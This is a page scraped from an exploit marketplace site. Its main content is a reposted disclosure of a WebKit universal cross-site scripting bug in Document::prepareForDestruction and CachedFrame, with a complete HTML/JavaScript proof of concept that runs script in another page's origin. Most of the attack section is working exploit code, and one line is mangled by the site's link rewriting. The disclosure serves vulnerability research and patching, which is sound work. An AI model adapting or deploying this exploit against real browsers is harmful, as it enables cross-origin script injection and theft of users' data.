0day.today - Biggest Exploit Database in the World.
![](/img/logo_green.jpg)
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earnGOLD
Administration of this site uses the official contacts. Beware of impostors!
![We DO NOT use Telegram or any messengers / social networks!](/img/no_telegram_big.png)
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
WebKit Document::prepareForDestruction / CachedFrame Universal XSS
WebKit: UXSS via Document::prepareForDestruction and CachedFrame Here's a snippet of Document::prepareForDestruction void Document::prepareForDestruction() { if (m_hasPreparedForDestruction) return; ... detachFromFrame(); m_hasPreparedForDestruction = true; } Document::prepareForDestruction is called on the assumption that the document will not be used again with its frame. However, if a frame caching is made in Document::prepareForDestruction, the document's frame will be stored in a CachedFrame object that will reattach the frame at some point, and thereafter, the document's frame will be never detached due to |m_hasPreparedForDestruction|. PoC: <body> Click anywhere. <script> function createURL(data, type = 'text/html') { return URL.createObjectURL(new Blob([data], {type: type})); } function waitFor(check, cb) { let it = setInterval(() => { if (check()) { clearInterval(it); cb(); } }, 10); } window.onclick = () => { window.onclick = null; w = open(createURL(''), '', 'width=500, height=500'); w.onload = () => { setTimeout(() => { let f = w.document.body.appendChild(document.createElement('iframe')); f.contentWindow.onunload = () => { f.contentWindow.onunload = null; w.__defineGetter__('navigator', () => new Object()); let a = w.document.createElement('a'); a.href = 'about:blank'; a.click(); setTimeout(() => { w.history.back(); setTimeout(() => { let d = w.document; w.location = 'javascript:' + encodeURI(`"<script>location = '<a href="https://abc.xyz/';" title="" class="" rel="nofollow">https://abc.xyz/';</a></scrip` + `t>"`); let it = setInterval(() => { try { w.xxxx; } catch (e) { clearInterval(it); let a = d.createElement('a'); a.href = 'javascript:alert(location);'; a.click(); } }, 10); }, 100); }, 100); }; w.location = 'javascript:""'; }, 0); }; } </script> </body> This bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made broadly available, the bug report will become visible to the public. Found by: lokihardt # 0day.today [2024-06-28] #